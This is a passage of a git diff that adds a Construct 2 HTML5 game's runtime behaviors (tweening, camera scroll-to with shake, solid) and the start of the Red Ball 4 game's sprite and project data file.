+ this.targetmode = absrel;
+ var x1 = "";
+ var x2 = "";
+ if (absrel === 1) {
+ this.target = "relative(" + parsed + ")";
+ switch (targettype) {
+ case 0: x1 = (this.inst.x + x); x2 = inst.targetparam2; break;
+ case 1: x1 = inst.targetparam1; x2 = (this.inst.y + x); break;
+ case 2: x1 = "" + cr.to_degrees(this.inst.angle + cr.to_radians(x)); x2 = x1; break; //angle
+ case 3: x1 = "" + (this.inst.opacity*100) + x; x2 = x1; break; //opacity
+ case 4: x1 = (this.inst.width + x); x2 = inst.targetparam2; break; //width
+ case 5: x1 = inst.targetparam1; x2 = (this.inst.height + x); break; //height
+ case 6: x1 = x; x2 = x; break; //value
+ default: break;
+ }
+ parsed = x1 + "," + x2;
+ } else {
+ switch (targettype) {
+ case 0: x1 = x; x2 = inst.targetparam2; break;
+ case 1: x1 = inst.targetparam1; x2 = x; break;
+ case 2: x1 = x; x2 = x; break; //angle
+ case 3: x1 = x; x2 = x; break; //opacity
+ case 4: x1 = x; x2 = inst.targetparam2; break; //width
+ case 5: x1 = inst.targetparam1; x2 = x; break; //height
+ case 6: x1 = x; x2 = x; break; //value
+ default: break;
+ }
+ parsed = x1 + "," + x2;
+ this.target = parsed;
+ }
+ var init = this.parseCurrent(this.tween_list["default"].tweened, "current");
+ var targ = this.parseCurrent(this.tween_list["default"].tweened, parsed);
+ inst.setInitial(init);
+ inst.setTarget(targ);
+ };
+ acts.SetTweenedProperty = function (x)
+ {
+ if (this.tween_list["default"] === undefined) return;
+ this.tween_list["default"].tweened = x;
+ };
+ acts.SetEasing = function (x)
+ {
+ if (this.tween_list["default"] === undefined) return;
+ this.tween_list["default"].easefunc = x;
+ };
+ acts.SetEasingParam = function (x, a, p, t, s)
+ {
+ if (this.tween_list["default"] === undefined) return;
+ this.tween_list["default"].easingparam[x].optimized = false;
+ this.tween_list["default"].easingparam[x].a = a;
+ this.tween_list["default"].easingparam[x].p = p;
+ this.tween_list["default"].easingparam[x].t = t;
+ this.tween_list["default"].easingparam[x].s = s;
+ };
+ acts.ResetEasingParam = function ()
+ {
+ if (this.tween_list["default"] === undefined) return;
+ this.tween_list["default"].optimized = true;
+ };
+ acts.SetValue = function (x)
+ {
+ var inst = this.tween_list["default"];
+ this.value = x;
+ if (inst.tweened === 6)
+ inst.setInitial( this.parseCurrent(inst.tweened, "current") );
+ };
+ acts.SetParameter = function (tweened, easefunction, target, duration, enforce)
+ {
+ if (this.tween_list["default"] === undefined) {
+ this.addToTweenList("default", tweened, easefunction, initial, target, duration, enforce, 0);
+ } else {
+ var inst = this.tween_list["default"];
+ inst.tweened = tweened;
+ inst.easefunc = easefunction;
+ inst.setInitial( this.parseCurrent(tweened, "current") );
+ inst.setTarget( this.parseCurrent(tweened, target) );
+ inst.duration = duration;
+ inst.enforce = (enforce === 1);
+ }
+ };
+ behaviorProto.exps = {};
+ var exps = behaviorProto.exps;
+ exps.State = function (ret)
+ {
+ var parsed = "N/A";
+ switch (this.tween_list["default"].state) {
+ case 0: parsed = "paused"; break;
+ case 1: parsed = "playing"; break;
+ case 2: parsed = "reversing"; break;
+ case 3: parsed = "seeking"; break;
+ default: break;
+ }
+ ret.set_string(parsed);
+ };
+ exps.Progress = function (ret)
+ {
+ var progress = this.tween_list["default"].progress/this.tween_list["default"].duration;
+ ret.set_float(progress);
+ };
+ exps.Duration = function (ret)
+ {
+ ret.set_float(this.tween_list["default"].duration);
+ };
+ exps.Target = function (ret)
+ {
+ var inst = this.tween_list["default"];
+ var parsed = "N/A";
+ switch (inst.tweened) {
+ case 0: parsed = inst.targetparam1; break;
+ case 1: parsed = inst.targetparam2; break;
+ case 2: parsed = inst.targetparam1; break;
+ case 3: parsed = inst.targetparam1; break;
+ case 4: parsed = inst.targetparam1; break;
+ case 5: parsed = inst.targetparam2; break;
+ case 6: parsed = inst.targetparam1; break;
+ default: break;
+ }
+ ret.set_float(parsed);
+ };
+ exps.Value = function (ret)
+ {
+ var tval = this.value;
+ ret.set_float(tval);
+ };
+ exps.Tween = function (ret, a_, b_, x_, easefunc_)
+ {
+ var currX = (x_>1.0?1.0:x_);
+ var factor = easeFunc(easefunc_, currX<0.0?0.0:currX, 0.0, 1.0, 1.0, false, false);
+ ret.set_float(a_ + factor * (b_-a_));
+ };
+}());
+;
+;
+cr.behaviors.scrollto = function(runtime)
+{
+ this.runtime = runtime;
+ this.shakeMag = 0;
+ this.shakeStart = 0;
+ this.shakeEnd = 0;
+ this.shakeMode = 0;
+};
+(function ()
+{
+ var behaviorProto = cr.behaviors.scrollto.prototype;
+ behaviorProto.Type = function(behavior, objtype)
+ {
+ this.behavior = behavior;
+ this.objtype = objtype;
+ this.runtime = behavior.runtime;
+ };
+ var behtypeProto = behaviorProto.Type.prototype;
+ behtypeProto.onCreate = function()
+ {
+ };
+ behaviorProto.Instance = function(type, inst)
+ {
+ this.type = type;
+ this.behavior = type.behavior;
+ this.inst = inst; // associated object instance to modify
+ this.runtime = type.runtime;
+ };
+ var behinstProto = behaviorProto.Instance.prototype;
+ behinstProto.onCreate = function()
+ {
+ this.enabled = (this.properties[0] !== 0);
+ };
+ behinstProto.saveToJSON = function ()
+ {
+ return {
+ "smg": this.behavior.shakeMag,
+ "ss": this.behavior.shakeStart,
+ "se": this.behavior.shakeEnd,
+ "smd": this.behavior.shakeMode
+ };
+ };
+ behinstProto.loadFromJSON = function (o)
+ {
+ this.behavior.shakeMag = o["smg"];
+ this.behavior.shakeStart = o["ss"];
+ this.behavior.shakeEnd = o["se"];
+ this.behavior.shakeMode = o["smd"];
+ };
+ behinstProto.tick = function ()
+ {
+ };
+ function getScrollToBehavior(inst)
+ {
+ var i, len, binst;
+ for (i = 0, len = inst.behavior_insts.length; i < len; ++i)
+ {
+ binst = inst.behavior_insts[i];
+ if (binst.behavior instanceof cr.behaviors.scrollto)
+ return binst;
+ }
+ return null;
+ };
+ behinstProto.tick2 = function ()
+ {
+ if (!this.enabled)
+ return;
+ var all = this.behavior.my_instances.valuesRef();
+ var sumx = 0, sumy = 0;
+ var i, len, binst, count = 0;
+ for (i = 0, len = all.length; i < len; i++)
+ {
+ binst = getScrollToBehavior(all[i]);
+ if (!binst || !binst.enabled)
+ continue;
+ sumx += all[i].x;
+ sumy += all[i].y;
+ ++count;
+ }
+ var layout = this.inst.layer.layout;
+ var now = this.runtime.kahanTime.sum;
+ var offx = 0, offy = 0;
+ if (now >= this.behavior.shakeStart && now < this.behavior.shakeEnd)
+ {
+ var mag = this.behavior.shakeMag * Math.min(this.runtime.timescale, 1);
+ if (this.behavior.shakeMode === 0)
+ mag *= 1 - (now - this.behavior.shakeStart) / (this.behavior.shakeEnd - this.behavior.shakeStart);
+ var a = Math.random() * Math.PI * 2;
+ var d = Math.random() * mag;
+ offx = Math.cos(a) * d;
+ offy = Math.sin(a) * d;
+ }
+ layout.scrollToX(sumx / count + offx);
+ layout.scrollToY(sumy / count + offy);
+ };
+ function Acts() {};
+ Acts.prototype.Shake = function (mag, dur, mode)
+ {
+ this.behavior.shakeMag = mag;
+ this.behavior.shakeStart = this.runtime.kahanTime.sum;
+ this.behavior.shakeEnd = this.behavior.shakeStart + dur;
+ this.behavior.shakeMode = mode;
+ };
+ Acts.prototype.SetEnabled = function (e)
+ {
+ this.enabled = (e !== 0);
+ };
+ behaviorProto.acts = new Acts();
+}());
+;
+;
+cr.behaviors.solid = function(runtime)
+{
+ this.runtime = runtime;
+};
+(function ()
+{
+ var behaviorProto = cr.behaviors.solid.prototype;
+ behaviorProto.Type = function(behavior, objtype)
+ {
+ this.behavior = behavior;
+ this.objtype = objtype;
+ this.runtime = behavior.runtime;
+ };
+ var behtypeProto = behaviorProto.Type.prototype;
+ behtypeProto.onCreate = function()
+ {
+ };
+ behaviorProto.Instance = function(type, inst)
+ {
+ this.type = type;
+ this.behavior = type.behavior;
+ this.inst = inst; // associated object instance to modify
+ this.runtime = type.runtime;
+ };
+ var behinstProto = behaviorProto.Instance.prototype;
+ behinstProto.onCreate = function()
+ {
+ this.inst.extra["solidEnabled"] = (this.properties[0] !== 0);
+ };
+ behinstProto.tick = function ()
+ {
+ };
+ function Cnds() {};
+ Cnds.prototype.IsEnabled = function ()
+ {
+ return this.inst.extra["solidEnabled"];
+ };
+ behaviorProto.cnds = new Cnds();
+ function Acts() {};
+ Acts.prototype.SetEnabled = function (e)
+ {
+ this.inst.extra["solidEnabled"] = !!e;
+ };
+ behaviorProto.acts = new Acts();
+}());
+cr.getObjectRefTable = function () { return [
+ cr.plugins_.Audio,
+ cr.plugins_.Browser,
+ cr.plugins_.Keyboard,
+ cr.plugins_.Function,
+ cr.plugins_.gamemonetize,
+ cr.plugins_.Particles,
+ cr.plugins_.Mouse,
+ cr.plugins_.Touch,
+ cr.plugins_.TiledBg,
+ cr.plugins_.Spritefont2,
+ cr.plugins_.sirg_kiz,
+ cr.plugins_.WebStorage,
+ cr.plugins_.Sprite,
+ cr.behaviors.Sin,
+ cr.behaviors.Pin,
+ cr.behaviors.Bullet,
+ cr.behaviors.Physics,
+ cr.behaviors.solid,
+ cr.behaviors.Fade,
+ cr.behaviors.Rotate,
+ cr.behaviors.scrollto,
+ cr.behaviors.lunarray_LiteTween,
+ cr.behaviors.destroy,
+ cr.behaviors.Platform,
+ cr.behaviors.jumpthru,
+ cr.plugins_.Touch.prototype.cnds.OnTapGestureObject,
+ cr.plugins_.Browser.prototype.acts.GoToURLWindow,
+ cr.plugins_.Sprite.prototype.cnds.IsAnimPlaying,
+ cr.plugins_.Audio.prototype.acts.SetSilent,
+ cr.system_object.prototype.acts.Wait,
+ cr.plugins_.Sprite.prototype.acts.SetAnim,
+ cr.system_object.prototype.acts.SetVar,
+ cr.plugins_.Audio.prototype.acts.StopAll,
+ cr.plugins_.Audio.prototype.acts.Play,
+ cr.system_object.prototype.cnds.OnLayoutStart,
+ cr.plugins_.WebStorage.prototype.cnds.LocalStorageExists,
+ cr.plugins_.WebStorage.prototype.exps.LocalValue,
+ cr.plugins_.Touch.prototype.cnds.OnTouchObject,
+ cr.system_object.prototype.cnds.IsMobile,
+ cr.plugins_.gamemonetize.prototype.acts.ShowBanner,
+ cr.system_object.prototype.acts.GoToLayout,
+ cr.system_object.prototype.cnds.EveryTick,
+ cr.system_object.prototype.acts.SetFullscreenQuality,
+ cr.system_object.prototype.cnds.CompareVar,
+ cr.plugins_.sirg_kiz.prototype.acts.UnlockAchievement,
+ cr.plugins_.WebStorage.prototype.acts.StoreLocal,
+ cr.behaviors.Pin.prototype.acts.Pin,
+ cr.behaviors.Sin.prototype.acts.SetActive,
+ cr.plugins_.Sprite.prototype.acts.SetInstanceVar,
+ cr.plugins_.Sprite.prototype.cnds.CompareX,
+ cr.plugins_.Sprite.prototype.acts.Destroy,
+ cr.plugins_.Sprite.prototype.acts.SetX,
+ cr.plugins_.Sprite.prototype.exps.X,
+ cr.plugins_.Browser.prototype.cnds.IsPortraitLandscape,
+ cr.system_object.prototype.cnds.TriggerOnce,
+ cr.system_object.prototype.acts.SetLayerVisible,
+ cr.system_object.prototype.acts.SetTimescale,
+ cr.plugins_.gamemonetize.prototype.cnds.onPauseGame,
+ cr.plugins_.Audio.prototype.acts.SetMasterVolume,
+ cr.plugins_.gamemonetize.prototype.cnds.onResumeGame,
+ cr.system_object.prototype.cnds.Every,
+ cr.behaviors.Platform.prototype.acts.SimulateControl,
+ cr.plugins_.Sprite.prototype.cnds.IsOverlapping,
+ cr.plugins_.Particles.prototype.acts.Destroy,
+ cr.plugins_.Sprite.prototype.cnds.CompareInstanceVar,
+ cr.system_object.prototype.cnds.Compare,
+ cr.plugins_.Sprite.prototype.cnds.OnCollision,
+ cr.behaviors.Platform.prototype.acts.SetVectorY,
+ cr.behaviors.Platform.prototype.acts.SetJumpStrength,
+ cr.system_object.prototype.acts.RestartLayout,
+ cr.plugins_.Keyboard.prototype.cnds.OnKey,
+ cr.plugins_.Keyboard.prototype.cnds.IsKeyDown,
+ cr.plugins_.Sprite.prototype.acts.SetAngle,
+ cr.plugins_.Sprite.prototype.exps.Angle,
+ cr.behaviors.Platform.prototype.exps.VectorX,
+ cr.plugins_.Sprite.prototype.acts.SetPos,
+ cr.plugins_.Sprite.prototype.exps.Y,
+ cr.plugins_.Particles.prototype.acts.SetPos,
+ cr.behaviors.Platform.prototype.cnds.IsOnFloor,
+ cr.plugins_.Particles.prototype.acts.SetSpraying,
+ cr.plugins_.Audio.prototype.acts.PlayByName,
+ cr.system_object.prototype.exps.choose,
+ cr.behaviors.Platform.prototype.cnds.IsJumping,
+ cr.system_object.prototype.exps.layoutname,
+ cr.system_object.prototype.acts.SetLayerScale,
+ cr.system_object.prototype.exps.lerp,
+ cr.system_object.prototype.exps.layerscale,
+ cr.system_object.prototype.exps.dt,
+ cr.behaviors.Platform.prototype.cnds.IsFalling,
+ cr.plugins_.Sprite.prototype.cnds.OnAnimFinished,
+ cr.plugins_.Sprite.prototype.acts.Spawn,
+ cr.system_object.prototype.acts.AddVar,
+ cr.system_object.prototype.acts.CreateObject,
+ cr.behaviors.lunarray_LiteTween.prototype.acts.Start,
+ cr.plugins_.sirg_kiz.prototype.acts.SubmitScore,
+ cr.plugins_.Spritefont2.prototype.acts.SetText,
+ cr.behaviors.Platform.prototype.acts.SetVectorX,
+ cr.behaviors.Platform.prototype.acts.SetEnabled,
+ cr.plugins_.Sprite.prototype.acts.SetVisible,
+ cr.system_object.prototype.acts.SubVar,
+ cr.plugins_.Sprite.prototype.acts.SetOpacity,
+ cr.plugins_.Touch.prototype.cnds.IsTouchingObject,
+ cr.behaviors.Physics.prototype.acts.CreateRevoluteJoint,
+ cr.plugins_.Sprite.prototype.acts.SetY,
+ cr.behaviors.Fade.prototype.acts.StartFade,
+ cr.plugins_.gamemonetize.prototype.acts.InitAds,
+ cr.system_object.prototype.cnds.Else,
+ cr.plugins_.Touch.prototype.cnds.IsInTouch,
+ cr.plugins_.Touch.prototype.exps.Y,
+ cr.plugins_.Sprite.prototype.cnds.IsVisible,
+ cr.plugins_.Touch.prototype.cnds.OnTouchStart
+];};
\ No newline at end of file
diff --git a/games/redball4/data.js b/games/redball4/data.js
new file mode 100644
index 00000000..d3f1fce6
--- /dev/null
+++ b/games/redball4/data.js
@@ -0,0 +1,303085 @@
+{
+ "project": [
+ null,
+ "Loading",
+ [
+ [
+ 0,
+ true,
+ false,
+ false,
+ false,
+ false,
+ false,
+ false,
+ false,
+ false
+ ],
+ [
+ 1,
+ true,
+ false,
+ false,
+ false,
+ false,
+ false,
+ false,
+ false,
+ false
+ ],
+ [
+ 2,
+ true,
+ false,
+ false,
+ false,
+ false,
+ false,
+ false,
+ false,
+ false
+ ],
+ [
+ 3,
+ true,
+ false,
+ false,
+ false,
+ false,
+ false,
+ false,
+ false,
+ false
+ ],
+ [
+ 4,
+ true,
+ false,
+ false,
+ false,
+ false,
+ false,
+ false,
+ false,
+ false
+ ],
+ [
+ 5,
+ false,
+ true,
+ true,
+ false,
+ true,
+ true,
+ true,
+ true,
+ true
+ ],
+ [
+ 6,
+ true,
+ false,
+ false,
+ false,
+ false,
+ false,
+ false,
+ false,
+ false
+ ],
+ [
+ 7,
+ true,
+ false,
+ false,
+ false,
+ false,
+ false,
+ false,
+ false,
+ false
+ ],
+ [
+ 8,
+ false,
+ true,
+ true,
+ true,
+ true,
+ true,
+ true,
+ true,
+ true
+ ],
+ [
+ 9,
+ false,
+ true,
+ true,
+ true,
+ true,
+ true,
+ true,
+ true,
+ true
+ ],
+ [
+ 10,
+ true,
+ false,
+ false,
+ false,
+ false,
+ false,
+ false,
+ false,
+ false
+ ],
+ [
+ 11,
+ true,
+ false,
+ false,
+ false,
+ false,
+ false,
+ false,
+ false,
+ false
+ ],
+ [
+ 12,
+ false,
+ true,
+ true,
+ true,
+ true,
+ true,
+ true,
+ true,
+ false
+ ]
+ ],
+ [
+ [
+ "t0",
+ 7,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ null,
+ [],
+ false,
+ false,
+ 568071144861069,
+ [],
+ null,
+ [
+ 1
+ ]
+ ],
+ [
+ "t1",
+ 2,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ null,
+ [],
+ false,
+ false,
+ 982284275774552,
+ [],
+ null,
+ []
+ ],
+ [
+ "t2",
+ 3,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ null,
+ [],
+ false,
+ false,
+ 600565749790683,
+ [],
+ null,
+ []
+ ],
+ [
+ "t3",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 50,
+ true,
+ 1,
+ 0,
+ false,
+ 237675759176144,
+ [
+ [
+ "images/sprite40-sheet0.png",
+ 111444,
+ 753,
+ 1,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite40-sheet0.png",
+ 111444,
+ 901,
+ 253,
+ 52,
+ 53,
+ 1,
+ 0.75,
+ 0.1320754736661911,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite40-sheet0.png",
+ 111444,
+ 834,
+ 253,
+ 65,
+ 67,
+ 1,
+ 0.7076923251152039,
+ 0.1940298527479172,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite40-sheet0.png",
+ 111444,
+ 753,
+ 253,
+ 79,
+ 81,
+ 1,
+ 0.6708860993385315,
+ 0.2222222238779068,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite40-sheet1.png",
+ 143138,
+ 857,
+ 559,
+ 92,
+ 96,
+ 1,
+ 0.6521739363670349,
+ 0.25,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite40-sheet1.png",
+ 143138,
+ 653,
+ 559,
+ 107,
+ 111,
+ 1,
+ 0.6355140209197998,
+ 0.2702702581882477,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite40-sheet1.png",
+ 143138,
+ 762,
+ 559,
+ 93,
+ 99,
+ 1,
+ 0.6666666865348816,
+ 0.2828282713890076,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite40-sheet1.png",
+ 143138,
+ 942,
+ 283,
+ 80,
+ 84,
+ 1,
+ 0.675000011920929,
+ 0.2976190447807312,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite40-sheet1.png",
+ 143138,
+ 542,
+ 559,
+ 109,
+ 111,
+ 1,
+ 0.6238532066345215,
+ 0.3603603541851044,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite40-sheet1.png",
+ 143138,
+ 394,
+ 559,
+ 146,
+ 144,
+ 1,
+ 0.5821917653083801,
+ 0.4097222089767456,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite40-sheet1.png",
+ 143138,
+ 213,
+ 559,
+ 179,
+ 171,
+ 1,
+ 0.5642458200454712,
+ 0.4385964870452881,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite40-sheet1.png",
+ 143138,
+ 1,
+ 521,
+ 210,
+ 196,
+ 1,
+ 0.5476190447807312,
+ 0.4642857015132904,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite40-sheet1.png",
+ 143138,
+ 1,
+ 298,
+ 242,
+ 221,
+ 1,
+ 0.5330578684806824,
+ 0.4841628968715668,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite40-sheet0.png",
+ 111444,
+ 745,
+ 338,
+ 277,
+ 249,
+ 1,
+ 0.5234656929969788,
+ 0.5020080208778381,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite40-sheet1.png",
+ 143138,
+ 323,
+ 290,
+ 298,
+ 267,
+ 1,
+ 0.5167785286903381,
+ 0.5093632936477661,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite40-sheet1.png",
+ 143138,
+ 638,
+ 283,
+ 302,
+ 274,
+ 1,
+ 0.5132450461387634,
+ 0.5072992444038391,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite40-sheet1.png",
+ 143138,
+ 638,
+ 1,
+ 308,
+ 280,
+ 1,
+ 0.5097402334213257,
+ 0.5071428418159485,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite40-sheet1.png",
+ 143138,
+ 323,
+ 1,
+ 313,
+ 287,
+ 1,
+ 0.5079872012138367,
+ 0.5052264928817749,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite40-sheet1.png",
+ 143138,
+ 1,
+ 1,
+ 320,
+ 295,
+ 1,
+ 0.5093749761581421,
+ 0.505084753036499,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite40-sheet0.png",
+ 111444,
+ 683,
+ 668,
+ 328,
+ 301,
+ 1,
+ 0.5091463327407837,
+ 0.5049833655357361,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite40-sheet0.png",
+ 111444,
+ 346,
+ 668,
+ 335,
+ 308,
+ 1,
+ 0.5104477405548096,
+ 0.5032467246055603,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite40-sheet0.png",
+ 111444,
+ 1,
+ 668,
+ 343,
+ 314,
+ 1,
+ 0.5102040767669678,
+ 0.5031847357749939,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite40-sheet0.png",
+ 111444,
+ 1,
+ 345,
+ 352,
+ 321,
+ 1,
+ 0.5085227489471436,
+ 0.5015576481819153,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite40-sheet0.png",
+ 111444,
+ 382,
+ 338,
+ 361,
+ 328,
+ 1,
+ 0.5069252252578735,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite40-sheet0.png",
+ 111444,
+ 382,
+ 1,
+ 369,
+ 335,
+ 1,
+ 0.5040650367736816,
+ 0.5014925599098206,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite40-sheet0.png",
+ 111444,
+ 1,
+ 1,
+ 379,
+ 342,
+ 1,
+ 0.5013192892074585,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 986265113848733,
+ [],
+ null
+ ],
+ [
+ "t4",
+ 0,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ null,
+ [],
+ false,
+ false,
+ 703835992537536,
+ [],
+ null,
+ [
+ 0,
+ 0,
+ 0,
+ 1,
+ 1,
+ 600,
+ 600,
+ 10000,
+ 1
+ ]
+ ],
+ [
+ "t5",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 889087384108530,
+ [
+ [
+ "images/sprite44-sheet0.png",
+ 6003,
+ 0,
+ 0,
+ 151,
+ 64,
+ 1,
+ 0.5761589407920837,
+ 0.5,
+ [],
+ [
+ -0.5761589407920837,
+ -0.5,
+ -0.1903309524059296,
+ -0.5,
+ 0.4238410592079163,
+ -0.5,
+ 0.4238410592079163,
+ 0.5,
+ 0.4238410592079163,
+ 0.5,
+ -0.5761589407920837,
+ 0.5,
+ -0.5761589407920837,
+ 0.5
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Sine",
+ 13,
+ 189094872610002
+ ]
+ ],
+ false,
+ false,
+ 357643349626426,
+ [],
+ null
+ ],
+ [
+ "t6",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "unmute",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 640464335916188,
+ [
+ [
+ "images/sprite45-sheet1.png",
+ 2986,
+ 0,
+ 0,
+ 106,
+ 71,
+ 1,
+ 0.4716981053352356,
+ 0.3802816867828369,
+ [],
+ [
+ -0.4716981053352356,
+ -0.3802816867828369,
+ 0.5283018946647644,
+ -0.3802816867828369,
+ 0.5283018946647644,
+ 0.6197183132171631,
+ 0.2072998881340027,
+ 0.6197183132171631,
+ -0.4716981053352356,
+ 0.6197183132171631
+ ],
+ 0
+ ]
+ ]
+ ],
+ [
+ "mute",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 639238219991601,
+ [
+ [
+ "images/sprite45-sheet0.png",
+ 3152,
+ 0,
+ 0,
+ 117,
+ 80,
+ 1,
+ 0.4358974397182465,
+ 0.3375000059604645,
+ [],
+ [
+ -0.4358974397182465,
+ -0.3375000059604645,
+ 0.5641025304794312,
+ -0.3375000059604645,
+ 0.5641025304794312,
+ 0.6625000238418579,
+ 0.2411735355854034,
+ 0.6625000238418579,
+ -0.4358974397182465,
+ 0.6625000238418579
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 276404523586270,
+ [],
+ null
+ ],
+ [
+ "t7",
+ 1,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ null,
+ [],
+ false,
+ false,
+ 586428651729562,
+ [],
+ null,
+ []
+ ],
+ [
+ "t8",
+ 9,
+ false,
+ [],
+ 0,
+ 0,
+ [
+ "images/scorefont.png",
+ 4439,
+ 0
+ ],
+ null,
+ [],
+ false,
+ false,
+ 237483453162187,
+ [],
+ null
+ ],
+ [
+ "t9",
+ 11,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ null,
+ [],
+ false,
+ false,
+ 266744846993302,
+ [],
+ null,
+ []
+ ],
+ [
+ "t10",
+ 10,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ null,
+ [],
+ false,
+ false,
+ 569331705300084,
+ [],
+ null,
+ [
+ "13261",
+ "f0db45df2dfb5c68321e64226bff8653"
+ ]
+ ],
+ [
+ "t11",
+ 9,
+ false,
+ [],
+ 0,
+ 0,
+ [
+ "images/levelfont.png",
+ 8610,
+ 0
+ ],
+ null,
+ [],
+ false,
+ false,
+ 773100277266595,
+ [],
+ null
+ ],
+ [
+ "t12",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 296663921606792,
+ [
+ [
+ "images/sprite2-sheet0.png",
+ 1184,
+ 0,
+ 0,
+ 139,
+ 45,
+ 1,
+ 0.5107913613319397,
+ 0.5111111402511597,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 674586953754954,
+ [],
+ null
+ ],
+ [
+ "t13",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 554501636339957,
+ [
+ [
+ "images/sprite48-sheet0.png",
+ 1053,
+ 0,
+ 0,
+ 216,
+ 32,
+ 1,
+ 0.5231481194496155,
+ 0.5625,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 379260277607377,
+ [],
+ null
+ ],
+ [
+ "t14",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 126063542892825,
+ [
+ [
+ "images/sprite5-sheet0.png",
+ 7989,
+ 0,
+ 0,
+ 181,
+ 100,
+ 1,
+ 0.580110490322113,
+ 0.5,
+ [],
+ [
+ -0.4530384838581085,
+ -0.2900000214576721,
+ 0.2817674875259399,
+ -0.2900000214576721,
+ 0.2817674875259399,
+ 0.2300000190734863,
+ -0.458563506603241,
+ 0.2300000190734863
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 169712067022852,
+ [],
+ null
+ ],
+ [
+ "t15",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 366264112480327,
+ [
+ [
+ "images/sprite53-sheet0.png",
+ 836,
+ 0,
+ 0,
+ 41,
+ 34,
+ 1,
+ 0.5365853905677795,
+ 0.6176470518112183,
+ [],
+ [
+ -0.5365853905677795,
+ -0.6176470518112183,
+ 0.4634146094322205,
+ -0.6176470518112183,
+ 0.4634146094322205,
+ 0.3823529481887817,
+ -0.4921561777591705,
+ 0.3823529481887817,
+ -0.5365853905677795,
+ 0.3823529481887817
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 781777621706020,
+ [],
+ null
+ ],
+ [
+ "t16",
+ 6,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ null,
+ [],
+ false,
+ false,
+ 725150876448746,
+ [],
+ null,
+ []
+ ],
+ [
+ "t17",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 172529363981319,
+ [
+ [
+ "images/sprite40-sheet0.png",
+ 111444,
+ 753,
+ 1,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 959585653170767,
+ [],
+ null
+ ],
+ [
+ "t18",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "aim",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 143496192141071,
+ [
+ [
+ "images/sprite32-sheet0.png",
+ 408,
+ 1,
+ 14,
+ 33,
+ 6,
+ 1,
+ 1.121212124824524,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ],
+ [
+ "hold",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 522695121166062,
+ [
+ [
+ "images/sprite32-sheet0.png",
+ 408,
+ 1,
+ 1,
+ 41,
+ 11,
+ 1,
+ 0.9024389982223511,
+ 0.4545454680919647,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Pin",
+ 14,
